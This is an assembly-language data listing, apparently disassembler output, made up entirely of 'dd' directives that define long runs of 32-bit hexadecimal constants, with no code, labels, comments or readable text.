		dd 23F3DD5Eh, 0DF2118BBh, 48010D70h, 9407203Fh,	51FCA13Dh
		dd 0FD7D00EFh, 6B2A13B3h, 71010C66h, 2E864BC0h,	2180F4A6h
		dd 7AC21E56h, 13001796h, 82077B70h, 76661A9Ch, 0E8E8A3h
		dd 108D1F41h, 7C28EAFEh, 0B17F8107h, 3A0053A0h,	1622599h
		dd 47C7FC17h, 0C4BA349Dh, 903A98F0h, 0A89207FDh, 0FB41E8D5h
		dd 1CE8524Eh, 0CA804C2Ah, 0FCB03A00h, 0E1E58111h, 7912171Ch
		dd 744E0F3Ah, 0B64A67C1h, 4C0EA210h, 0FD80079Fh, 607F06AEh
		dd 0C1721B0Dh, 0BFA4C007h, 0ABB0176Eh, 79BFB5Ah, 4A61D3AFh
		dd 2136D03Fh, 6800F653h, 0F374E772h, 56C385h, 62F7B7DDh
		dd 0AB66C4D7h, 817DEE0Fh, 8514A00Fh, 79A28Ah, 0FD8C8B2Ah
		dd 5A43F1D4h, 0E20036F0h, 0E954B4A3h, 1E175C1h,	7CE6F5EDh
		dd 0F0A0F328h, 960038CAh, 43A29B42h, 0B6F4AEh, 0BE1C9E59h
		dd 0C2314464h, 8E378700h, 0E0EE5646h, 0E14D18EAh, 0DCBE115Ch
		dd 1E3E513Eh, 0FE83B6A5h, 90F9411Eh, 19CCF5Ah, 0DE7B2D1Bh
		dd 0CCF1C795h, 0C10082C0h, 7086A503h, 38E40E64h, 281EEA44h
		dd 94CF40DDh, 0AFF252E0h, 1D00C998h, 63A5BB8Dh,	53CC3Ah
		dd 52E87C75h, 0BD0C6409h, 0E055581Dh, 3173D180h, 487CAF24h
		dd 7F3734h, 2FCC7DA8h, 5F49DBC8h, 8500207Fh, 92C28EAEh
		dd 87C473h, 1DB2243Ah, 2145D0C3h, 36796A00h, 0BD694F2Bh
		dd 54D90056h, 4E0F112h,	33D3C5Ah, 0E6AE009Dh, 6A1C60F5h
		dd 98EC0081h, 2064F9E2h, 0EF008269h, 66FBE09Bh,	571F03h
		dd 0CEB40712h, 4D378491h, 0BA011C00h, 308B96D8h, 9E1E0069h
		dd 0EE5E8A17h, 120B7249h
		dd 0CFB9CAh, 1EBE9D28h,	13610EF2h, 2600BB5Eh, 7690DD6Ah
		dd 0C52FE303h, 0D8B59171h, 1886413h, 0F6509BE5h, 0CF528547h
		dd 2DE371A0h, 0B115181Dh, 0AEADEC81h, 857077C4h, 0FD3E007Ch
		dd 5B365E25h, 0D6375FCFh, 0AC804099h, 89B01Ch, 0B61364FEh
		dd 795F4AFDh, 2C16F707h, 0DF3081A7h, 3C9233EAh,	5A827A86h
		dd 896730FEh, 24E004C3h, 937494C4h, 2D0FF418h, 3E03F8E8h
		dd 7698FBA9h, 4EDE4829h, 0A2D99309h, 0A38C20BDh, 0A84CC7h
		dd 2D339B52h, 0CD98A5C0h, 0DAD4E600h, 0A330DBF9h, 0A4C92D56h
		dd 7C004B7Eh, 908B03B6h, 0F96501AFh, 2B871422h,	0F0FF20D9h
		dd 0DC165828h, 2C9E3B00h, 0AFBC6D15h, 5C5D4CCDh, 0B800083Eh
		dd 0D327E78Eh, 0C400D862h, 1E3894B5h, 0EAB987h,	4F10E46Fh
		dd 0D4614AFBh, 9F00B075h, 275892A7h, 7676F2F8h,	9B1F098Eh
		dd 0E800BF72h, 0CE094215h, 0C6621100h, 2ED52EFh, 837644h
		dd 95252859h, 0F826F49Ah, 9600D0E8h, 0E8207EB9h, 0F54B173h
		dd 7B0A64C2h, 0F7558F21h, 0CC2EC5A5h, 9A0068C0h, 8365F233h
		dd 242C4B51h, 3C3319CCh, 26F8ACD1h, 0B98F00ADh,	1CCA66D8h
		dd 490068D0h, 540F309Dh, 75B6FF24h, 7E2C001Dh, 0F51F0B6Dh
		dd 987074C8h, 9C000D7Fh, 5EFBAD9Bh, 5FDAE91Ah, 1EEEC65h
		dd 0C8977D60h, 9240E74Dh, 0A0B439h, 0F416EE49h,	1371F669h
		dd 93C65300h, 2C123794h, 7E5098E1h, 0F83400ECh,	0CB217982h
		dd 0C00D857h, 92805832h, 48CD0D67h, 700444Eh, 509A47E8h
		dd 25006490h, 494FC8BAh, 51186Dh, 0E9397909h, 3FFC716Ch
		dd 0A80042E6h, 48A20667h, 1EAEB688h, 78A3E1h, 0E62F89B4h
		dd 62E4EE69h, 0AEA0300h, 470922F0h, 2DFE0156h, 0ED3F73A8h
		dd 2720DC68h, 0F8AE9430h, 13E3A6C1h, 770BA2h, 0D9AF7D44h
		dd 9139CBD5h, 1F5B0C82h, 4A93A30h, 2463B9AAh, 0AB65C037h
		dd 4000BBACh, 0E8758DEh, 16D317h, 0A16EC6BFh, 1DED4124h
		dd 1EBDB81Eh, 32A0003Fh, 0FFE0E5Ch, 0EC29048Fh,	0C0F8C26Fh
		dd 0D9E0BBDCh, 22578A00h, 9F1F1871h, 0E806049Eh, 0D307443Eh
		dd 30A0E510h, 0D77D4A99h, 9BF75D1Ch, 6BB9F900h,	1801DEAh
		dd 8D74C4C5h, 245CCA49h, 79000A18h, 0C02E0EDCh,	3236547h
		dd 1ED87021h, 0EFCB8Dh,	8BA08EA3h, 0E9CC6B50h, 6AC27D00h
		dd 0A934F141h, 87E30070h, 759ED0A3h, 1803F558h,	45E91440h
		dd 0B8DB8085h, 9BF80041h, 0B3AA9DB1h, 8700E11Eh, 84F4D443h
		dd 1D776D99h, 0BC70229h, 7C00E7CEh, 72DF2A20h, 0E0B20400h
		dd 79F83145h, 66750401h, 0C0246194h, 8795BF08h,	0BAF42500h
		dd 0F8AD917Eh, 0A18100F3h, 0B0E4052h, 0E200505Bh, 2DE06A37h
		dd 3D5AB4h, 58BE17D7h, 5E078CF6h, 6BDF3Ch, 145FCBADh, 5CCC7Eh
		dd 128D32FDh, 0C96C58D0h, 0C02CE00Fh, 331F8027h, 0B6506h
		dd 0B698CD74h, 59BD36D2h, 8E00D5F6h, 49584A32h,	0E818E5h
		dd 730B103Ah, 0E1C35095h, 60BE8F51h, 0E006D48h,	0F45C9FDDh
		dd 0BA851Fh, 8772106Ah,	46AAF764h, 21CE2E0Eh, 70B2Bh, 4A9057Dh
		dd 679300CDh, 50233077h, 5900F6C6h, 0B3E55E1h, 1D5C3C0Eh
		dd 2675FEh, 6774272Ah, 9618D405h, 0B368E955h, 0B91B0177h
		dd 8426D392h, 0D8BAF994h, 950080C1h, 0A84AD7B5h, 2C6123E1h
		dd 8316F4h, 904837BBh, 26006267h, 3475C729h, 4C527h, 512F387Bh
		dd 4047FBEDh, 0F12A1800h, 0FA672614h, 7D2DFE10h, 0C42C004Eh
		dd 3DC0B109h, 0C6B0D0B2h, 0F0ED5Ch, 67FDCA5Ah, 6BCE4F1h
		dd 0B94C207Fh, 1B00E803h, 0BBE81501h, 0E5DB8D9Bh, 189742E0h
		dd 0D05A9AA9h, 2F0028F8h, 0D2155D6Ch, 3B5478h, 0BEE6FBACh
		dd 75355FD4h, 402BE001h, 97E28B63h, 8644C880h, 0EE206D58h
		dd 5A0F2E01h, 73959E51h, 0E385FCh, 0A6B3F442h, 0B0ADDCC4h
		dd 1402DA00h, 13756632h, 0CABC0037h, 0EC223B4Ah, 0CCC0CC19h
		dd 0E640C505h, 204500A6h, 57D8D996h, 650FAEDDh,	0E00C2F5Dh
		dd 1F39A319h, 54660E27h, 78407CDBh, 0C5D58313h,	0F0355B00h
		dd 0E71E0B3Fh, 0B34A00C0h, 96E4228Ah, 62E0CD9Ch, 0CE5FEF00h
		dd 0CF0D4D51h, 0EEC01DEh, 0F26199D3h, 60842512h, 580AF708h
		dd 0A49E21D4h, 7CC98300h, 7A95D309h, 75CE4B3h, 1873BDE6h
		dd 70D9C72Ch, 5F3D674Bh, 0E00B8E0h, 6AEB391Dh, 26904173h
		dd 40E092D6h, 670012Ch,	5EA37900h, 0A82B272Fh, 15460081h
		dd 0A4D6388Ah, 40911B3h, 80E2F2D4h, 0DF27DED3h,	0ED56011Ah
		dd 0ABB06753h, 0C99E076h, 930EC972h, 8969B2h, 7F1CD92Ch
		dd 9BE800F7h, 24479EDDh, 5DFAFC9Dh, 9123FE00h, 6902F096h
		dd 0A6700305h, 0B0D25F89h, 0A78565D0h, 46DF7B01h, 1EA257AFh
		dd 0D63E70B8h, 8AE44800h, 0B664EFC4h, 7F12DB00h, 0B82621F2h
		dd 0F76A263Bh, 4CAF00C3h, 6B4D2FEDh, 0BF8DAE00h, 0E1A7938Eh
		dd 1BA40041h, 5F045BF3h, 0E8001F28h, 7ECA3F20h,	3D295335h
		dd 9C8142B1h, 9EAD874Fh, 7C1081B2h, 0FC52A410h,	3E3460h
		dd 0BB056403h, 5F9BD59Ah, 0D077F01Ch, 2C020480h, 0CDC4220h
		dd 0AA5AE15Bh, 4C003840h, 0DDC4D2C7h, 1D839D17h, 0C022194Ah
		dd 0D98560Eh, 87005061h, 0A29B3928h, 0E8BA4Eh, 55F8C71Eh
		dd 5698AF6Ah, 0C5FB2701h, 0D7A9D620h, 0F2171860h, 4F9FA91h
		dd 0C131D85Dh, 39C8C101h, 0FF0CE897h, 0ED298300h, 1FF6E56Eh
		dd 0C0DC00B8h, 0BB19A5ACh, 9C0B55B4h, 80C79DDEh, 342FFB0Ch
		dd 9110096h, 0C61D8F5Eh, 1E398742h, 0D700F697h,	2367B5ABh
		dd 64D434h, 7C36FB98h, 6CBCDC3Bh, 2C00CFEAh, 0A1AD3596h
		dd 0C0152A04h, 1C97F311h, 0AE000A2Dh, 0B8A5E7FCh, 0CFA5Ch
		dd 94EDB513h, 0B2F18A3Ch, 6A018E74h, 8D8008F9h,	0F8612CD8h
		dd 67CFC4h, 2D2F4924h, 2B89F733h, 4F3BEE00h, 0D55EBDFDh
		dd 0EA460075h, 0F25CBA1Bh, 7600D035h, 0CF4BAE88h, 0FD0741h
		dd 0D3C17AE8h, 5E50E02Fh, 0F887BC02h, 0E0C38292h, 3165CD22h
		dd 0FA4C21A4h, 0CBA3E86Dh, 5E23221Fh, 7BC68440h, 3D2E0Bh
		dd 44326AA8h, 55331702h, 608CC851h, 8F005624h, 5BE90C78h
		dd 2475126h, 0F081E0DDh, 64C071B6h, 95003A49h, 88989F5Eh
		dd 0FB3D8Fh, 2F500F09h,	0CAAA03C9h, 3A9A8700h, 36BF5211h
		dd 0FDC700F9h, 5F9C312Ch, 5403C305h, 0B5190474h, 7039C075h
		dd 23A51F11h, 5A8B403Eh, 43B2AA3Bh, 0E589611Dh,	730078AEh
		dd 0F329DA39h, 0A75807B7h, 20223175h, 0AC5FBCFBh, 39F494h
		dd 0FFC046D8h, 14B9F86h, 0D61E077Eh, 74A99CF9h,	0C63F1508h
		dd 3E381739h, 0F7967800h, 94E247h, 518B55D7h, 0DB7FD849h
		dd 3B8D6F00h, 43DED242h, 4E5224E9h, 5430015Ch, 0A488B781h
		dd 0BA002411h, 0D47CD291h, 0B41F003Ch, 3BF4130Ah, 8B00E79Eh
		dd 0BAA309C5h, 5CC72781h, 0B30028CFh, 0AD852884h, 0E758EE49h
		dd 970500D8h, 0DB6AC453h, 223F006Dh, 0D93245D1h, 0E70072E1h
		dd 0B2241CFEh, 0D5C493h, 918CE8BEh, 3F09DD2Dh, 870CEAE0h
		dd 3462EEB6h, 3D464899h, 0AC80BB00h, 0B39782C4h, 7E9BCD1Eh
		dd 0EE3B7B02h, 4C64E002h, 32A300DAh, 56296593h,	0FCF1C205h
		dd 86F4A572h, 0C882E730h, 0F26FC73Eh, 4FE0998h,	0A41AE12Eh
		dd 2200D00Bh, 6CD9D373h, 1FC71317h, 9AEAF640h, 0B115E5C2h
		dd 0A880BF60h, 0AD8AB907h, 0E800066Bh, 3A21D678h, 1DCB2Fh
		dd 191C710Eh, 0B9A693Bh, 0AA4CD90Fh, 0F06DA0EBh, 0C511163h
		dd 0A8F63573h, 0D4015440h, 2B5DAB7Ah, 0F9FCA52Eh
		dd 4AAC0A29h, 3EB328E4h, 83804C3Fh, 66AF0936h, 0DB036EE9h
		dd 0B365D570h, 8F39F0A8h, 45D00094h, 0B774BCEFh, 58950F56h
		dd 996407B2h, 0F296C166h, 0DF7C83h, 29BF34C4h, 701002Eh
		dd 0E91C1806h, 0DC003989h, 125910E1h, 9BD99Dh, 0A2BE4AFEh
		dd 0A15A9C23h, 7792C700h, 53317E07h, 69D000F6h,	2783D81Dh
		dd 0E00036F8h, 29A5010Ch, 1ED79082h, 0CF99813Eh, 0B657B4h
		dd 0FA2A2747h, 56128A5Dh, 150FE479h, 0F50463ACh, 7FCAB885h
		dd 5B67020Fh, 1563FE5Eh, 3A4BF540h, 0D233F200h,	0FD88E244h
		dd 3FDA1D8Fh, 3716A6h, 60C0246Ah, 7200C7F6h, 6A4E5D0Eh
		dd 0B08AABh, 0B690538Bh, 0D57CE869h, 99D1B200h,	63353E1Ch
		dd 46100B79h, 48A059C1h, 0AC1EEC54h, 52B9C601h,	46204E09h
		dd 0C03F0C9Eh, 91194B03h, 0F090A915h, 2A296300h, 0A8A7E339h
		dd 216500B7h, 0ACEB4132h, 624CBCAFh, 0C84300DCh, 0B60FD056h
		dd 8E5B008Fh, 9260E37h,	5503998Ch, 96453095h, 3C28F129h
		dd 286F020h, 4BE21787h,	0B0A03EEBh, 0DA61DB9Ch,	0B8005C96h
		dd 97578CCh, 84C50013h,	0F9C33597h, 0DB05955Ah,	0CB1DBF9Ch
		dd 0B031A4C6h, 58F301A4h, 0CC8BECA1h, 0E380CA9Bh, 615ACB90h
		dd 1CFB3Bh, 0ACE70D9Dh,	45F024h, 1028B8C4h, 68C26597h
		dd 0DE26DD05h, 0B8002F13h, 143A2371h, 0EE580AE9h, 0FB40D51h
		dd 0B2CB533Fh, 2C162C80h, 4F25EA7Ah, 5489DAh, 2A20EEECh
		dd 8ABA17E9h, 0AA1901B9h, 0F82C295Ch, 8F02F37Eh, 96BBCAD9h
		dd 0AC58C1E1h, 1C80FCh,	86C7F2Ah, 0E67C6F16h, 68CE4700h
		dd 7D1D837h, 4E1B037Ah,	5EACF023h, 54269E02h, 60458529h
		dd 0E830908Dh, 9AA700F4h, 168695D0h, 0A530DACEh, 3F03B8ECh
		dd 0B2A0008Bh, 9BD7E2B9h, 0C51EC84Dh, 5100309Eh, 2E4832D5h
		dd 6DBF2821h, 0C35005FCh, 0C0D834D6h, 8E3B8F30h, 9447CCE9h
		dd 0A05B8700h, 868BDBDAh, 1DC900D2h, 509FFA7Bh,	0F000B854h
		dd 640E85D1h, 5C98E622h, 36036A63h, 7C0965C1h, 75BE5BE8h
		dd 0AC61101Dh, 94259C00h, 6AF714h, 0FF8C40CEh, 0E1BC79Eh
		dd 0F145C00Fh, 932B6011h, 0F0185DE6h, 0C1440081h, 0C94C9D75h
		dd 0F60166F3h, 0FBB685B4h, 6BDCBA98h, 5CA9008Fh, 0B996D349h
		dd 0EF16CD17h, 5300E850h, 3513F762h, 9DE700C9h,	9B8BAA0h
		dd 0EE035681h, 0F5792764h, 0A2110140h, 25A7AA8h, 0AC66E0C5h
		dd 0AA8AE900h, 0D201EDFEh, 58E70055h, 42A176BDh, 3D00E819h
		dd 0F352817Eh, 0F9D22614h, 4088E2FEh, 98739481h, 0A4F207F0h
		dd 50F445E1h, 88F7D0EDh, 0CA5FAA00h, 0D8945E12h, 936D0038h
		dd 256195DBh, 0C414F53Eh, 0C8D568h, 821DCAB0h, 4E3382Bh
		dd 0CFA5AE95h, 8F0A0D3h, 2D786098h, 9040AC24h, 1D3E0A00h
		dd 18E613FFh, 1954EB45h, 0DD005632h, 60CA166Eh,	0BAEFF0Dh
		dd 0A8CB38Dh, 807B5C07h, 55DE4E57h, 0C0136600h,	32FB6951h
		dd 306D7F6Eh, 0A4280DC4h, 0AA0170EAh, 481DBAF4h, 0B5207E98h
		dd 4202013Fh, 9451403h,	0A9B8608Fh, 0EF3E820Eh,	252E0096h
		dd 0A0995C93h, 65F6690h, 98A791A2h, 460C5815h, 217DBE0Ah
		dd 577DDBh, 0D69D93Dh, 0C9327186h, 0B1CEB818h, 1EF31F31h
		dd 40CDA160h, 3AC7A05Ah, 0E560374Ch, 54919540h,	1F85ECF1h
		dd 946D2AA9h, 1600A8D6h, 0BCECE7B2h, 4A0273A1h,	0A8E0CA36h
		dd 0C99C1ABh, 0A85843D6h, 1353F26Fh, 408D589Ch,	0DBB9EB5Ch
		dd 8008B96h, 3BEF4BECh,	1DC12530h, 3074D00Ah, 9FB51F29h
		dd 9971EC00h, 1B7557C3h, 2F8F16DDh, 0F8384286h,	84C63422h
		dd 45ADDE00h, 57B30382h, 0B6F200DCh, 0A8181052h, 0EB021CEEh
		dd 6DC7A3B0h, 50513Eh, 0B5FD0C8Fh, 85001174h, 1510AAA5h
		dd 0E8365E07h, 21F9EFDDh, 7B002C78h, 9349F650h,	23BACA7h
		dd 9B9C00C6h, 9EB39AA1h, 0C780ABEh, 1CCDE87h, 339582D8h
		dd 837821C1h, 8BF90621h, 0D6611378h, 55380056h,	0AB573DC6h
		dd 992C8018h, 21FB69h, 68AE0835h, 0E01770EBh, 0F4519000h
		dd 3D8B8462h, 4B2A1DBFh, 0B6730231h, 0B8F2755Fh, 13899C00h
		dd 47DE78D7h, 0A15400B0h, 0FFC029B6h, 4972A8D5h, 8C8BCE00h
		dd 67FC3993h, 0C82E1DA7h, 0C0BF9E66h, 86EE724h,	87003426h
		dd 0B6658994h, 0FE65CB0h, 0ED1F4446h, 80FB6A80h, 0DA04B1C6h
		dd 0D11A9040h, 0DE8CB880h, 0F87843h, 864CCF4Ah,	0FEC457C2h
		dd 4BD04D0Eh, 4659CF89h, 58EBE1h, 39EC50A5h, 0BC6BDF32h
		dd 0E65AAF1Dh, 87D429C7h, 0B6708459h, 9A5DCCC3h, 133CE0C2h
		dd 90B9044h, 4D708315h,	0ECD09880h, 93E27691h, 0EAE05B00h
		dd 6640FB1Fh, 0F85C1612h, 11C000B2h, 41F545F4h,	18765A00h
		dd 5BA9F99Bh, 0C3DE331Dh, 4F89E248h, 0AD44200Dh, 0DF9E671Fh
		dd 0B7D609h, 0E452083Ch, 0A31268Ah, 7E0E0BBCh, 7B25FC80h
		dd 67604E9Bh, 837AAC38h, 13C9863h, 143E117Ch, 0D0BAB5E1h
		dd 7E094FD4h, 8053AF07h, 30B1E4ACh, 0BE7A23h, 0ACABEE6Ch
		dd 733341D2h, 94D79509h, 0F2180011h, 2A9A5032h,	80642F91h
		dd 24B43884h, 121C6601h, 40000063h, 0C075D1FEh,	0F826DE00h
		dd 97A4881Eh, 78630033h, 643F40EDh, 0A1013ED1h,	0F63DFECAh
		dd 67F43890h, 95C603C3h, 0FDE76079h, 307DC989h,	0C0002C1Bh
		dd 56AC8016h, 3AB91D78h, 0EE03ED49h, 76DA63CBh,	0CA0D62E7h
		dd 4C19E4C0h, 45389C7Ch, 0E640124h, 41293475h, 56D421E9h
		dd 30904D76h, 0D35AD20Ch, 57003541h, 912B3A3Dh,	9DD7C4h
		dd 1544FF5Ch, 63FEF262h, 0AE720901h, 0DE21B698h, 0A48ED040h
		dd 75330B11h, 288002E8h, 2C735F0Bh, 4677FC00h, 33CFC737h
		dd 0ABF300ACh, 5B2F2A5Dh, 9D3FF07Dh, 93500F0Fh,	11FC6032h
		dd 10E57h, 0D184B706h, 5EC66EE8h, 7E7F6209h, 0F748B6Ah
		dd 0B1040F0h, 132EDA3Eh, 405D88ECh, 9369BB5Ch, 347997F4h
		dd 92454C1Dh, 655203C0h, 1207F188h, 775944h, 0A91A110Ch
		dd 371D564Ch, 1602923Ch, 80881FA6h, 0AF9B71E4h,	87F10982h
		dd 208FC0F8h, 813A2E0h,	9A0621DAh, 51E4486Fh, 0D9B30031h
		dd 0E8453866h, 8E003DFBh, 276D638Fh, 74AA5104h,	170801BDh
		dd 0C36E56B5h, 210C20D1h, 6B8AB300h, 0A0AFECC6h, 2D1100A7h
		dd 7331446Ah, 16046FBFh, 0E7D34EFEh, 16948C8h, 0C3BA0AEAh
		dd 0DE336091h, 187E7240h, 0C2D85305h, 0F8006AADh, 0F4D64302h
		dd 605F7B0Ch, 44B2BCE8h, 0AA2C1E25h, 2C2606F0h,	3DAECD00h
		dd 352263h, 457C61D3h, 0DAEA7AC1h, 9D990900h, 114CD5D9h
		dd 0DFE695h, 0F15BE3C8h, 0EA3A5AB9h, 1DFCF358h,	8E9D8943h
		dd 0F301D057h, 91A4A057h, 0A5EFCC50h, 0C06416B8h, 40DC1FB7h
		dd 858E8DCAh, 84023F56h, 0F8748C93h, 95BF60D9h,	2D60134h
		dd 7C902632h, 0C315E0E5h, 559EB801h, 43B47DC1h,	96094C70h
		dd 46F40F30h, 0B7A673A0h, 231ED0C4h, 0E6023402h, 40D92404h
		dd 3F04068h, 0B0A7D62Fh, 0E002DF8Eh, 3655AF50h,	96C8C01Ch
		dd 97AD00A9h, 0EDC80AE7h, 9E074D31h, 0FE81808Dh, 0E407845Ah
		dd 731039A9h, 2E187FAh,	832CB492h, 84680625h, 4B00C464h
		dd 0F4302761h, 0EADE0591h, 7B801D35h, 10FE80E8h, 0DA76B8E5h
		dd 80F10A3Fh, 3C6BBF78h, 0C733F4h, 74A43B9Ah, 0CD9DB935h
		dd 0DE62EF26h, 63A50D00h, 5C7906E2h, 738827h, 43A2C92Bh
		dd 347C89DEh, 56E02250h, 3E38F000h, 0D4A675E0h,	779D004Dh
		dd 0C3FB50DFh, 0E402F5BBh, 23CE3631h, 814440D2h, 0E5493C53h
		dd 0F254A207h, 6158079h
		dd 565A91CBh, 0D432AC00h, 4B8907Ah, 0F5F03AADh,	3E8CC019h
		dd 60001C0Ch, 0A4BB9E9Bh, 0C51BC6Ah, 1B2956A0h,	0C1132DA8h
		dd 0E000E33Ch, 0BD897C9Eh, 4C2AFE6Fh, 2E05D4CAh, 0C022E011h
		dd 9F559658h, 61B3A4A1h, 0C8EC0034h, 0E700F4A4h, 6ECE0348h
		dd 57E3EEh, 5E692122h, 0BF335025h, 5D98BE01h, 90DD62DCh
		dd 1BBD820h, 6EF644CFh,	6DB39124h, 0ED5A00B0h, 0A441B54Ch
		dd 280A0ACh, 9A900D4h, 0FF0CBCB3h, 7091FDB7h, 31D7E80h
		dd 0D771E3h, 73AE8CD3h,	89E49356h, 3C83B31Fh, 0D291B8C0h
		dd 9198F9Fh, 540F463h, 957A3070h, 0A90078FAh, 5D2AAB79h
		dd 0F867E5E8h, 0F5820BC6h, 0D4641BE6h, 10FF3900h, 792D8117h
		dd 97A52h, 6DC94C9Fh, 3604A1BDh, 67EC6900h, 329B6CC4h
		dd 1A70F9h, 0CD481765h,	0BD1E1D46h, 109B304h, 0E4B07B45h
		dd 306E8DCh, 0C83025EBh, 58F8DB49h, 693F1CD5h, 52A201C5h
		dd 9D17D985h, 8B7AF8CBh, 0F96AC0A7h, 7392F335h,	0EEF88097h
		dd 60E506h, 8C049075h, 359CA49h, 0D84BC802h, 0C0D44386h
		dd 0E440CF13h, 77F00B6h, 0C024CAF2h, 8D3BA750h,	18B927E7h
		dd 770F604h, 0FD58A9C5h, 4C604F99h, 8F0E09A3h, 31D97C14h
		dd 24E00080h, 0E1136784h, 90A848CEh, 0A3C5600h,	0F3E79F1Ah
		dd 4B2D2F00h, 0BC8BE0B0h, 81240194h, 0DF99A6BBh, 0F44ED598h
		dd 3090D3CBh, 23D2907h,	82809278h, 0E0138E8h, 0EAB71983h
		dd 845BD900h, 0C50097DCh, 0B595A2FFh, 30C7D799h, 28227734h
		dd 0DEFF60FAh, 7FAAACC0h, 42137800h, 0F74E91F1h, 0B283005Fh
		dd 0C904B465h, 0D309704Ch, 9BAD25Bh, 0CBC18084h, 0EC6E39Bh
		dd 81CFFBA9h, 0A0785240h, 2C008295h, 0E13618ECh, 0E4744E6h
		dd 1ECB3705h, 0AB0004CEh, 0C1152102h, 0E724A01h, 605261CFh
		dd 1FB0FC30h, 0B61670h,	0ACD103E5h, 0D60B5786h,	0E8D2F5Ch
		dd 0E3C16FDCh, 8E7314h,	16506D10h, 0E5646D5h, 9F2E0F13h
		dd 0E820A013h, 12924ADFh, 0ED894F0h, 0AA0B3574h, 0C85E4880h
		dd 7E4B04C5h, 0DD974CC0h, 0B6B1149Eh, 0E500ACA4h, 0CD8D50Dh
		dd 3E009687h, 0DE479AF0h, 776956Dh, 3728A383h, 0EAF24021h
		dd 1D049C3Ch, 0AE539EE6h, 7BB1CC80h, 0F0D0003Fh, 45A9B498h
		dd 0CA127D96h, 0C4009F47h, 6906163Eh, 515A0111h, 0DFC622C4h
		dd 0D04C316Dh, 25010984h, 0F5B34CBh, 3020B60Eh,	0A76200CEh
		dd 3A4CEC53h, 780071D1h, 0D62C0CDEh, 1E9D90F5h,	0C0B1EB08h
		dd 0A4E609Bh, 720FD315h, 0E92802E4h, 0EE2486AFh, 0FAC80978h
		dd 2803AAC9h, 96803B27h, 832DBE6Ch, 0B00480E2h,	9848B9C6h
		dd 0EB670284h, 39B6FE68h, 5AAF4E0h, 750A640Bh, 0D3400737h
		dd 0B892A140h, 0F00E1F65h, 0BE840930h, 0A210C83h, 0AE90C150h
		dd 0B9DCEF00h, 11896955h, 0E1A60005h, 0C3919FF7h, 6F2CE4DAh
		dd 200026CDh, 4D7AA244h, 0FA270013h, 0DB460B49h, 7C16C8FFh
		dd 0A4000CB9h, 0A2AF8D17h, 0CBAD0032h, 67D5F3A4h, 0B8013B26h
		dd 0C5927FEBh, 0D16064D2h, 70B00Dh, 5CAF033Ah, 0DCAD9DF9h
		dd 5819AA00h, 0CF5A0637h, 0E3F000ABh, 0F5D3B7A2h, 8203DC09h
		dd 2FE6D645h, 85EA00D5h, 9CF814AEh, 0EF0D0CA1h,	1957F44Eh
		dd 0BA7460h, 6672789h, 94DF7BE7h, 0C64BFE13h, 3B967090h
		dd 0DB13073Ah, 306379B9h, 17D5D89Ah, 0C35E0C0Fh, 4FCA0078h
		dd 14206CCh, 0CD7E44D7h, 0D909CB50h, 6B61E8D9h,	2536E500h
		dd 0B2B96CD0h, 3CEB075Fh, 7166DA2Fh, 0D40754A9h, 0B0027F0Ch
		dd 10DDB690h, 80BCDB42h, 904BAFBAh, 67F2CE83h, 0D6993Ch
		dd 0C15D896Fh, 5DA90D24h, 0DA02847Ch, 3FFC514Ch, 390050D8h
		dd 0FFCE5593h, 3FEAE86h, 0E6DA3163h, 79D9CF46h,	8B3C6DB9h
		dd 6448009Eh, 5A34C3D5h, 425C40C1h, 964D7EF9h, 79A5F201h
		dd 8794D28Ch, 4A77A0D0h, 0CF84C03Bh, 0E90257FFh, 0D2EBAA7h
		dd 6B5C41A3h, 4CC263ECh, 6D30302Bh, 332A7C68h, 34619E00h
		dd 0DB95EED3h, 130C3CCCh, 5FAD8185h, 0C09080FEh, 2C5E12EAh
		dd 7492E440h, 47E61Ah, 9B86C632h, 0F26DD9BFh, 5B5E9507h
		dd 50B02AD3h, 127D8CF6h, 7FEEC39h, 3DC4AF4h, 22910575h
		dd 1B79EC5Eh, 3D7B491Dh, 0E5C9C87h, 9872CC20h, 62B500C0h
		dd 7B3C87F9h, 260050B2h, 5E2CAF56h, 494B01EEh, 0D400C09Fh
		dd 0BE8B6149h, 444F84DCh, 2B2C83h, 59854728h, 18F7326Ch
		dd 0F40A784Ah, 0A600F464h, 0FE534AAAh, 21674A41h, 3816D48Ch
		dd 6CE900D0h, 3723DC0Ah, 509027E0h, 293C3C60h, 91B50800h
		dd 79E1D3D8h, 0E9DB00C0h, 0BB6BEC4Bh, 6A00A851h, 9A8138DDh
		dd 0FC4CACh, 2875D001h,	0D32971FDh, 0BF875C00h,	0F16C1E74h
		dd 0D8E65054h, 6DF800D0h, 0F764A4FAh, 7C58BB15h, 60A130A4h
		dd 30D1DA91h, 0A4717BEFh, 92002F94h, 29773FB6h,	5DFD6h
		dd 0C2045E4Bh, 0DC7FDA55h, 6BF2301Ch, 0BE4723C0h, 829FD0h
		dd 55255431h, 27D6BAA1h, 212A5901h, 5888D477h, 0C64B2C69h
		dd 0FE0F19F8h, 20B1442Eh, 0E90D8693h, 23F20F56h, 0EA201B38h
		dd 4C987B94h, 0EF838E09h, 7628603Dh, 0BC34F908h, 0D0C600FBh
		dd 8CF841A4h, 969F7191h, 8FDA001Ch, 3CA08B3Bh, 0B932B352h
		dd 63602182h, 2BE7C078h, 0E24C28AAh, 0FD55008Ch, 0EB3FD72Eh
		dd 4F2FA71Eh, 0E1E485FBh, 0AB2A0800h, 1825E74Bh, 39E046A0h
		dd 0D7FD562Eh, 2617A800h, 357FF9E5h, 0F511CFB7h, 3C82420Fh
		dd 1482D256h, 0A0EB341Eh, 203B5CC1h, 2B745ECFh,	0B354B103h
		dd 0A60D19Fh, 13995818h, 89948184h, 0F1335EDDh,	0A1A0E75Ah
		dd 80C75886h, 2CC00150h, 7E8DD9Eh, 9634FDD1h, 9D707C61h
		dd 0ED205260h, 0A112B550h, 1043A244h, 0F950005Eh, 96376930h
		dd 0AF008126h, 1FD7628Eh, 0D41CA0h, 16F6F5F7h, 8796AB6Fh
		dd 0DF424400h, 0D19D73B4h, 0E6900B9h, 0EA2B7491h, 2501E678h
		dd 1D5ADEA4h, 6983CD85h, 71507A06h, 64A0B3EBh, 4300EF4Dh
		dd 0D8B74591h, 3ECA661h, 89867857h, 0B4891E06h,	2680417Bh
		dd 991FE071h, 0F2FB7502h, 0E35677A7h, 0BFFAF916h, 7A0FED8h
		dd 0A99C36FFh, 0CFF9E0CEh, 6D018C5Ch, 0B46E301Eh, 0D6F0B2DDh
		dd 3CB0013h, 0C360FD1Ah, 9475F9BCh, 58FEDF01h, 6CE48BC6h
		dd 0F7DA040h, 0A88003D6h, 0F6619388h, 0A19814D0h, 11BDCE15h
		dd 0B98E00CCh, 0DB226DFFh, 0B29301BFh, 0FD56813Bh, 6B69F094h
